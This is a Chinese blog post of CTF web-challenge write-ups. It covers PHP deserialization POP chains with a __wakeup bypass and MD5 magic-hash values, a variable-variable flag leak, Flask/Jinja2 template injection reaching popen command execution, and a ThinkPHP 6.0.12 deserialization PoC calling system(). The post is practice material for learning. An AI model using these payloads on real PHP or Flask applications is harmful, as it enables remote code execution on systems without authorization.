• NSSCTF做题第9页(2)


    [SWPUCTF 2022 新生赛]ez_1zpop

    error_reporting(0);
    class dxg
    {
       function fmm()
       {
          return "nonono";
       }
    }

    class lt
    {
       public $impo='hi';
       public $md51='weclome';
       public $md52='to NSS';
       function __construct()
       {
          $this->impo = new dxg;
       }
       function __wakeup()
       {
          $this->impo = new dxg;
          return $this->impo->fmm();
       }

       function __toString()
       {
          if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
             return $this->impo->fmm();
       }
       function __destruct()
       {
          echo $this;
       }
    }

    class fin
    {
       public $a;
       public $url = 'https://www.ctfer.vip';
       public $title;
       function fmm()
       {
          $b = $this->a;
          $b($this->title);
       }
    }

    if (isset($_GET['NSS'])) {
       $Data = unserialize($_GET['NSS']);
    } else {
       highlight_file(__file__);
    }

    这道题主要有三个绕过点,第一个是__wakeup()函数,第二个是

    (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52) 变量的MD5相等,但是两个变量不等

    那需要我们构造的两个类就是class lt和 class fin

    构造的时候设置一个变量a,创建了一个类的对象lt

    然后把md5的条件满足一下,而这类的第一个变量$impo没有用到

    就可以利用它来指向下一个新创建的变量class fin,再利用fin里边的公共变量进行命令执行得到flag

    class lt
    {
       public $impo='hi';
       public $md51='weclome';
       public $md52='to NSS';
    }
    class fin
    {
       public $a;
       public $url = 'https://www.ctfer.vip';
       public $title;
    }
    $m = new lt();
    $m ->md51 = 'QNKCDZO';
    $m ->md52 = 's878926199a';
    $m ->impo = new fin();
    $m ->impo -> a = 'system';
    $m ->impo -> title =  'cat /flag';
    echo serialize($m);
    ?> 

    别忘了改一下成员数来绕过__wakeup()函数

    O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:11:"s878926199a";}

    改成:

    O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:11:"s878926199a";}

    得到flag

    [MoeCTF 2022]ezphp 

    代码审计

    来自chatgpt的解释:

    首先,代码定义了一个变量$flag,它的值是“xxxxxxxxx”,表示一个未知的标志。

    接下来,代码定义了两个字符串变量$giveme和$getout。$giveme的值是“可以需要标志!”,表示在缺少标志时给出的提示信息。$getout的值是“不!flag。再试一次。加油!,表示在输入正确的标志后给出的提示信息。

    然后,代码通过判断是否存在$_GET['flag']或$_POST['flag']来确定是否有传递标志。如果没有传递标志,就会输出$giveme的值并退出脚本。

    如果有传递标志,代码会检查传递的标志值是否为“flag”,如果是的话,就会输出$getout的值并退出脚本。

    接下来,代码使用foreach循环遍历$_POST和$_GET数组中的键值对,并将键作为变量名,值作为变量值进行赋值操作。这样可以通过$_POST或$_GET中的参数名来直接获取对应的值。

    最后,代码输出“The flag is : ”和$flag的值,即输出标志的值。

    综上所述,该代码的逻辑是:如果没有传递标志,则给出提示信息;如果传递了标志,并且标志不等于“flag”,则给出另一条提示信息;如果传递了标志,并且标志等于“flag”,则输出标志的值。

    关键是这两句:
    foreach ($_POST as $key => $value) {
        $$key = $value;
    }

    foreach ($_GET as $key => $value) {
        $$key = $$value;
    }

    $_POST数组中,将键作为变量名,将对应的值作为变量值。在$_GET数组中,对于每个键值对,将值作为变量名,并将对应变量的值赋给当前循环的变量

    如果要echo,那么不能exit,那么必须传flag(get或者post),并且传入flag不能等于"flag",如果要$flag的值不会被更改,那就得提前“储存”flag。顺序不能变,必须要先用另一个变量把flag的值储存起来,否则flag会被覆盖。 

    所以就可以传入 ?a=flag&flag=a,先把flag的值传给a,储存起来,然后再读取

     [HZNUCTF 2023 preliminary]flask

    提示说传参name进去

    先随便传一个123进去,发现回显是321,又试了一些,发现全是反着输出的

    那试试}}7*7{{    ,ok倒序

    在线文本字符反转 - 在线文本反转 - 文字反转生成器

    找基类 下面的记得反转

    {{"".__class__}} 得到空字符串类 ,用网页回显总是麻麻赖赖的,用bp看是正常的

      {{"".__class__.__mro__}}  得到:,

      {{"".__class__.__mro__[-1]}} 得到

    得到基类之后,找到这个基类的子类集合

    {{"".__class__.__mro__[-1].__subclasses__()}}

    这里使用其第133个类([0]是第一个类 因此第133个是[132] )

    这个类有个popen方法可以执行系统命令

     

    实例化我们找到的类对象

     {{"".__class__.__mro__[-1].__subclasses__()[132].__init__}}

    找到这个实例化对象的所有方法

    {{"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__}}

    调用popen方法,进行rce 在环境变量里得到flag

    {{"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('env').read()}}

     

    这道题其实没什么难度,只是过程麻烦一点,需要你去找调用方法的类

    用这一句话也是可以读的出来的

    {%print(lipsum.__globals__.os.popen('env').read())%}

    [UUCTF 2022 新生赛]ez_unser 

    一道简单的反序列化

    过滤了 /test":3,

    正则限制死了不可能通过修改成员数量绕过__wakeup()

    这里可以又看到在析构函数提及了b,c值的传递,考虑使用引用传参的方式,就不需要再考虑__wakeup()函数的影响了,我们可以把a和b变成用同一个内存变量,所以给b赋值相当于给a赋值。

    payload

    class test{
        public $a;
        public $b;
        public $c;
        public function __construct(){

        }
        public function __wakeup(){
            $this->a='';
        }
        public function __destruct(){
            $this->b=$this->c;
            eval($this->a);
        }
    }
    $m=new test();
    $m->b=&$m->a;
    $m->c="system('ls /');";
    echo serialize($m);
    ?>

    在payload里修改一下路径,得到flag

    [CISCN 2022 初赛]ezpop 

    进去发现是thinkph-v6 直接去网上找

    还是,推两篇博客给大家

     ThinkPHP V6.0.12LTS 反序列化漏洞的保姆级教程(含exp编写过程)-CSDN博客

    漏洞挖掘-ThinkPHP6.0.12LTS反序列化_amingMM的技术博客_51CTO博客

    果然有东西

    下载www.zip

    下载下来720个项目,哈哈哈真会开玩笑

    从网上找漏洞复现,发现漏洞的起点在wakeup方法或者destruct方法,所以全局搜索一下这两个方法

    搜索之后发现漏洞起点应该是在vendor\topthink\think-orm\src\Model.php 

    找到起点之后就是跟着这个调用过程进行分析

     大佬的博客写的很详细了已经

    两篇博客,关于这个漏洞的详细解析

     https://www.cnblogs.com/Jinx8823/p/16564437.html

    ThinkPHP6.0.12LTS反序列漏洞分析 - FreeBuf网络安全行业门户

     在app/controller/index.php找到了传参路径

    所以传参的时候路径应该是index/test

    直接上poc

    namespace think {
        abstract class Model
        {
            private $lazySave = false;
            private $data = [];
            private $exists = false;
            protected $table;
            private $withAttr = [];
            protected $json = [];
            protected $jsonAssoc = false;
            function __construct($obj = '')
            {
                $this->lazySave = True;
                $this->data = ['whoami' => ['ls /']];
                $this->exists = True;
                $this->table = $obj;
                $this->withAttr = ['whoami' => ['system']];
                $this->json = ['whoami', ['whoami']];
                $this->jsonAssoc = True;
            }
        }
    }
    namespace think\model {
        use think\Model;
        class Pivot extends Model
        {
        }
    }
    namespace {

        echo (urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
    }
    ?>

    首先,在命名空间think下定义了一个抽象类Model,它包含了一些私有属性和方法。这些属性包括$lazySave$data$exists$table$withAttr$json$jsonAssoc,并在构造函数中给它们赋予了一些初始值。

    然后,在命名空间think\model下定义了一个继承自Model的类Pivot,它没有添加任何额外的属性或方法。

    最后,在全局命名空间下,通过echo语句输出了一个序列化后的对象。具体地,它序列化了一个think\model\Pivot类的实例,并对序列化结果进行了URL编码。

     post传参,找到了flag路径

    cat flag

     得到flag

     

  • 相关阅读:
    证书模式支付宝支付接口demo 沙箱
    [附源码]计算机毕业设计基于springboot的低碳生活记录网站
    英语——分享篇——每日100词——301-400
    华清 Qt day3 9月19
    做副业的一些想法
    软考 系统架构设计师系列知识点之特定领域软件体系结构DSSA(3)
    JVM 虚拟机 ---->垃圾收集算法
    线性回归(linear regression)
    3万字智慧交通数字化建设方案
    如何写出高质量的C代码?快来学习这些coding技巧
  • 原文地址:https://blog.csdn.net/wwwwyyyrre/article/details/134010512